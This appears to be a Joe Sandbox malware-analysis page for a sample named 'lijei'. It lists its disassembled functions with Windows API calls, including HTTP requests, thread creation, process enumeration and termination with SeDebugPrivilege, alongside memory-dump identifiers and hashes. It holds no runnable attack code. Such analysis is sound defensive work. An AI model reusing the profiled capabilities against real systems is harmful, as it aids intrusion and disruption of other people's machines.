                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                                              • String ID: 0$F
                                                              • API String ID: 161812096-3044882817
                                                              • Opcode ID: e5a295d915c040dc8a0c8fe8cebbd86e9c9d73e915fddfe7e8f5d37c0004ffe8
                                                              • Instruction ID: 940c2642542969c0348cc789171597778a7d10e1fb4b9dbfe1bc9319db8c5f52
                                                              • Opcode Fuzzy Hash: e5a295d915c040dc8a0c8fe8cebbd86e9c9d73e915fddfe7e8f5d37c0004ffe8
                                                              • Instruction Fuzzy Hash: 06414A75616209EFDB14CF64E855EAA7BB9FF4A318F150028FA4697350D730A920DF50
                                                              Function 0090276F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 00904536: GetClassNameW.USER32(?,?,000000FF), ref: 00904559
                                                              • SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 009027F4
                                                              • GetDlgCtrlID.USER32 ref: 009027FF
                                                              • GetParent.USER32 ref: 0090281B
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 0090281E
                                                              • GetDlgCtrlID.USER32(?), ref: 00902827
                                                              • GetParent.USER32(?), ref: 0090283B
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 0090283E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 711023334-1403004172
                                                              • Opcode ID: 76387c2620c70952f740793d2cae0b4cc0eac49c45d7e6266f49f2b61a2294f7
                                                              • Instruction ID: 622e1c183ed190691b8a18689b6e882ac91fbf1b07ac08aedb6540c390ceef70
                                                              • Opcode Fuzzy Hash: 76387c2620c70952f740793d2cae0b4cc0eac49c45d7e6266f49f2b61a2294f7
                                                              • Instruction Fuzzy Hash: 6B21C2B4900118FFCF15AFA4DC95EEEBBB8EF05310B004116B961A72E2CB785904DF60
                                                              Function 00902850 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 77windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                                • Part of subcall function 00904536: GetClassNameW.USER32(?,?,000000FF), ref: 00904559
                                                              • SendMessageW.USER32(?,00000186,00020000,00000000), ref: 009028D3
                                                              • GetDlgCtrlID.USER32 ref: 009028DE
                                                              • GetParent.USER32 ref: 009028FA
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 009028FD
                                                              • GetDlgCtrlID.USER32(?), ref: 00902906
                                                              • GetParent.USER32(?), ref: 0090291A
                                                              • SendMessageW.USER32(00000000,?,00000111,?), ref: 0090291D
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$CtrlParent$ClassName_wcslen
                                                              • String ID: ComboBox$ListBox
                                                              • API String ID: 711023334-1403004172
                                                              • Opcode ID: 4759ae08e81bd98ff257e66caf06c8cccd2e743bdccea8805ce2f5dfbd41c250
                                                              • Instruction ID: 93dfd322bc2dab9ff63ebaff248f0e110980fa7e06377583260a112be20b36a5
                                                              • Opcode Fuzzy Hash: 4759ae08e81bd98ff257e66caf06c8cccd2e743bdccea8805ce2f5dfbd41c250
                                                              • Instruction Fuzzy Hash: 4421D1B5900118BFDF11AFA4DC89EEEBBB8EF05300F004016B961A31A6DB784908EF60
                                                              Function 00934382 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 009343FC
                                                              • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 009343FF
                                                              • GetWindowLongW.USER32(?,000000F0), ref: 00934426
                                                              • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00934449
                                                              • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 009344C1
                                                              • SendMessageW.USER32(?,00001074,00000000,00000007), ref: 0093450B
                                                              • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00934526
                                                              • SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00934541
                                                              • SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00934555
                                                              • SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00934572
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$LongWindow
                                                              • String ID:
                                                              • API String ID: 312131281-0
                                                              • Opcode ID: a86ad859707cf32a9d2909d4f1c57f466adb192d86f713614fc7f147224ebae8
                                                              • Instruction ID: d3e12d73d6b7197cb8129b6469e571d3dd8535d2a8fe83a85c9f086bedb537d3
                                                              • Opcode Fuzzy Hash: a86ad859707cf32a9d2909d4f1c57f466adb192d86f713614fc7f147224ebae8
                                                              • Instruction Fuzzy Hash: ED617875A00208AFDB11DFA8CC81EEE77F8EB49310F1441A9FA15E72A1C774AA85DF50
                                                              Function 0091CBB0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0091CBCF
                                                              • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0091CBF7
                                                              • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0091CC27
                                                              • GetLastError.KERNEL32 ref: 0091CC7F
                                                              • SetEvent.KERNEL32(?), ref: 0091CC93
                                                              • InternetCloseHandle.WININET(00000000), ref: 0091CC9E
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
                                                              • String ID:
                                                              • API String ID: 3113390036-3916222277
                                                              • Opcode ID: 0466d6b8a747520d3e6e90ae264646e78297ac5c06a76164c6a360815685b142
                                                              • Instruction ID: 0cc75d183ca05cf5b7452fd0f9b7178bffe96436df63696f22fcdc8773ac6b6d
                                                              • Opcode Fuzzy Hash: 0466d6b8a747520d3e6e90ae264646e78297ac5c06a76164c6a360815685b142
                                                              • Instruction Fuzzy Hash: 3A317CF1645308AFD7219F65DD88AEB7BFCEB49744B10491EF48AD2200DB34DD849BA1
                                                              Function 0090A12A Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 74windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,00000000,?,008E5437,?,?,Bad directive syntax error,0093DCD0,00000000,00000010,?,?), ref: 0090A14B
                                                              • LoadStringW.USER32(00000000,?,008E5437,?), ref: 0090A152
                                                                • Part of subcall function 008AB25F: _wcslen.LIBCMT ref: 008AB269
                                                              • MessageBoxW.USER32(00000000,00000001,00000001,00011010), ref: 0090A216
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: HandleLoadMessageModuleString_wcslen
                                                              • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                              • API String ID: 858772685-4153970271
                                                              • Opcode ID: 2289b3afc3b3e11efc099c3461a948a83a310cdca655a1b780eb9f751838ea57
                                                              • Instruction ID: 259daf42bb0ed4eb2952e5a34f580a94fa4fbd2f3f59186b85e45f8a0239947c
                                                              • Opcode Fuzzy Hash: 2289b3afc3b3e11efc099c3461a948a83a310cdca655a1b780eb9f751838ea57
                                                              • Instruction Fuzzy Hash: 95219C3181421EAFDF01AFD4CC0AEEE7779FF28308F044465B515A60A2EA759A28DB52
                                                              Function 0090292F Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 71windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetParent.USER32 ref: 0090293B
                                                              • GetClassNameW.USER32(00000000,?,00000100), ref: 00902950
                                                              • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 009029DD
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ClassMessageNameParentSend
                                                              • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                              • API String ID: 1290815626-3381328864
                                                              • Opcode ID: 63a3cb701167e216eeb3c38ef4e68192b4f3a3e9cffa9bef74be2854d39e2008
                                                              • Instruction ID: ccab9ed7cc0727a1a115c7274262eeaecd18360799c91b2c9dbcfbe0ede961ba
                                                              • Opcode Fuzzy Hash: 63a3cb701167e216eeb3c38ef4e68192b4f3a3e9cffa9bef74be2854d39e2008
                                                              • Instruction Fuzzy Hash: FC11C276288306FEFA002734ED2BDF677ECDF05728F200126FA11E50D1EA65A8815555
                                                              Function 0091CAA0 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0091CADF
                                                              • GetLastError.KERNEL32 ref: 0091CAF2
                                                              • SetEvent.KERNEL32(?), ref: 0091CB06
                                                                • Part of subcall function 0091CBB0: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0091CBCF
                                                                • Part of subcall function 0091CBB0: GetLastError.KERNEL32 ref: 0091CC7F
                                                                • Part of subcall function 0091CBB0: SetEvent.KERNEL32(?), ref: 0091CC93
                                                                • Part of subcall function 0091CBB0: InternetCloseHandle.WININET(00000000), ref: 0091CC9E
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Internet$ErrorEventLast$CloseConnectHandleOpen
                                                              • String ID:
                                                              • API String ID: 337547030-0
                                                              • Opcode ID: bac8c907bcd6ab5a186b97156197cebd35c9907dac062868daff63d9b8614923
                                                              • Instruction ID: b86248b65931026d7bf4b1bdbdfa268da3ece3f0894bea42fce622eec5528759
                                                              • Opcode Fuzzy Hash: bac8c907bcd6ab5a186b97156197cebd35c9907dac062868daff63d9b8614923
                                                              • Instruction Fuzzy Hash: 9B3158B1289609AFDB219F719D55AA6BBF8FF48300B04481DF856C2610D730E890EBA0
                                                              Function 00902093 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetProcessHeap.KERNEL32(00000008,0000000C,?,00000000,?,00901CD9,?,?,00000000), ref: 0090209C
                                                              • HeapAlloc.KERNEL32(00000000,?,00901CD9,?,?,00000000), ref: 009020A3
                                                              • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00901CD9,?,?,00000000), ref: 009020B8
                                                              • GetCurrentProcess.KERNEL32(?,00000000,?,00901CD9,?,?,00000000), ref: 009020C0
                                                              • DuplicateHandle.KERNEL32(00000000,?,00901CD9,?,?,00000000), ref: 009020C3
                                                              • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00901CD9,?,?,00000000), ref: 009020D3
                                                              • GetCurrentProcess.KERNEL32(00901CD9,00000000,?,00901CD9,?,?,00000000), ref: 009020DB
                                                              • DuplicateHandle.KERNEL32(00000000,?,00901CD9,?,?,00000000), ref: 009020DE
                                                              • CreateThread.KERNEL32(00000000,00000000,00902104,00000000,00000000,00000000), ref: 009020F8
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                              • String ID:
                                                              • API String ID: 1957940570-0
                                                              • Opcode ID: 6df10e5e9d8412f48b81ad0659d8c4ac799b44fabdc5870912aec82eef37d273
                                                              • Instruction ID: 71c85fb624c3d10939d1079e1749ac56d5874391484a44a90095813650d405f9
                                                              • Opcode Fuzzy Hash: 6df10e5e9d8412f48b81ad0659d8c4ac799b44fabdc5870912aec82eef37d273
                                                              • Instruction Fuzzy Hash: 6101BBB5259308BFE714ABB5EC8DF6B3BACEB89711F004411FA05DB1A1CA709810DF20
                                                              Function 0092AA41 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 160COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 0090DC9C: CreateToolhelp32Snapshot.KERNEL32 ref: 0090DCC1
                                                                • Part of subcall function 0090DC9C: Process32FirstW.KERNEL32(00000000,?), ref: 0090DCCF
                                                                • Part of subcall function 0090DC9C: CloseHandle.KERNELBASE(00000000), ref: 0090DD9C
                                                              • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0092AACC
                                                              • GetLastError.KERNEL32 ref: 0092AADF
                                                              • OpenProcess.KERNEL32(00000001,00000000,?), ref: 0092AB12
                                                              • TerminateProcess.KERNEL32(00000000,00000000), ref: 0092ABC7
                                                              • GetLastError.KERNEL32(00000000), ref: 0092ABD2
                                                              • CloseHandle.KERNEL32(00000000), ref: 0092AC23
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                              • String ID: SeDebugPrivilege
                                                              • API String ID: 2533919879-2896544425
                                                              • Opcode ID: 7c2c0b32b45e01e9ea9cde66846f38d67b091d19bad180135c3e55d81cc9b34e
                                                              • Instruction ID: 1cb2f10830effe0581a953292b0680bafe8ac27c93560f8b625c7d2d38fb2c0f
                                                              • Opcode Fuzzy Hash: 7c2c0b32b45e01e9ea9cde66846f38d67b091d19bad180135c3e55d81cc9b34e
                                                              • Instruction Fuzzy Hash: BC61BE71208212AFD320DF18D494F16BBE5EF54308F18888CE4668BBA3C775ED45CB92
                                                              Function 009341E5 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00934284
                                                              • SendMessageW.USER32(00000000,00001036,00000000,?), ref: 00934299
                                                              • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 009342B3
                                                              • _wcslen.LIBCMT ref: 009342F8
                                                              • SendMessageW.USER32(?,00001057,00000000,?), ref: 00934325
                                                              • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00934353
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: MessageSend$Window_wcslen
                                                              • String ID: SysListView32
                                                              • API String ID: 2147712094-78025650
                                                              • Opcode ID: 392b50731f99617545aed5572f6c0868f242edd3a165c0946b77444877451086
                                                              • Instruction ID: 6e37c9ec869eb5e13095dc97ca66f32658f21244e8ce942491bd98df9e77412e
                                                              • Opcode Fuzzy Hash: 392b50731f99617545aed5572f6c0868f242edd3a165c0946b77444877451086
                                                              • Instruction Fuzzy Hash: D4418F71900318ABEB219F64CC49FEB7BB9FF48354F11052AF954E7291D771A9908F90
                                                              Function 0090C53A Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 137windowCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 0090C5D9
                                                              • IsMenu.USER32(00000000), ref: 0090C5F9
                                                              • CreatePopupMenu.USER32 ref: 0090C62F
                                                              • GetMenuItemCount.USER32(01464FB8), ref: 0090C680
                                                              • InsertMenuItemW.USER32(01464FB8,?,00000001,00000030), ref: 0090C6A8
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Menu$Item$CountCreateInfoInsertPopup
                                                              • String ID: 0$2
                                                              • API String ID: 93392585-3793063076
                                                              • Opcode ID: 5290379ac12e48ec72998aa3eb2fe4967c12f81e1b4792d06aa7629e5c1677b0
                                                              • Instruction ID: aeeaad8814666471df5deb40be8f4f7cdb21ee33c61ccbb61a111627fc21f922
                                                              • Opcode Fuzzy Hash: 5290379ac12e48ec72998aa3eb2fe4967c12f81e1b4792d06aa7629e5c1677b0
                                                              • Instruction Fuzzy Hash: AA519EB0A01206AFDB20CF68D9C8BAEBBF9AF44714F145719F811D72E1E7729940CB61
                                                              Function 0090E653 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 70networkCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                              • String ID: 0.0.0.0
                                                              • API String ID: 642191829-3771769585
                                                              • Opcode ID: 9ee89d4b142190e6a4bafc16c4363c3cfeed65b81bb558d8ac52495a443063c7
                                                              • Instruction ID: 586d3c952374ad2429fb42e7321cc2472c3aed1ff533c92416c2c66000250704
                                                              • Opcode Fuzzy Hash: 9ee89d4b142190e6a4bafc16c4363c3cfeed65b81bb558d8ac52495a443063c7
                                                              • Instruction Fuzzy Hash: B0112171904204AFDB24BB34AC4AFEA77BCEF40320F0000A9F542D20D2EF70CA80AA51
                                                              Function 00924E80 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 262COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Variant$ClearInit
                                                              • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                              • API String ID: 2610073882-625585964
                                                              • Opcode ID: 38c1cdf19a8bc4e24d349dd4cf001c8d3a95bdb5f9d6bd180ac6c5bc9e01704a
                                                              • Instruction ID: 6b1bb2ce52058ff03bf79b02bdd0842a6da73a0c344a1a553b9db92e44862c2f
                                                              • Opcode Fuzzy Hash: 38c1cdf19a8bc4e24d349dd4cf001c8d3a95bdb5f9d6bd180ac6c5bc9e01704a
                                                              • Instruction Fuzzy Hash: EA91A071A00229ABDF20CFA4EC48FEEBBB8EF85714F118559F505AB285D7709945CFA0
                                                              Function 009242A4 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 240COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VariantInit.OLEAUT32(?), ref: 009242C8
                                                              • CharUpperBuffW.USER32(?,?), ref: 009243D7
                                                              • _wcslen.LIBCMT ref: 009243E7
                                                              • VariantClear.OLEAUT32(?), ref: 0092457C
                                                                • Part of subcall function 009115B3: VariantInit.OLEAUT32(00000000), ref: 009115F3
                                                                • Part of subcall function 009115B3: VariantCopy.OLEAUT32(?,?), ref: 009115FC
                                                                • Part of subcall function 009115B3: VariantClear.OLEAUT32(?), ref: 00911608
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
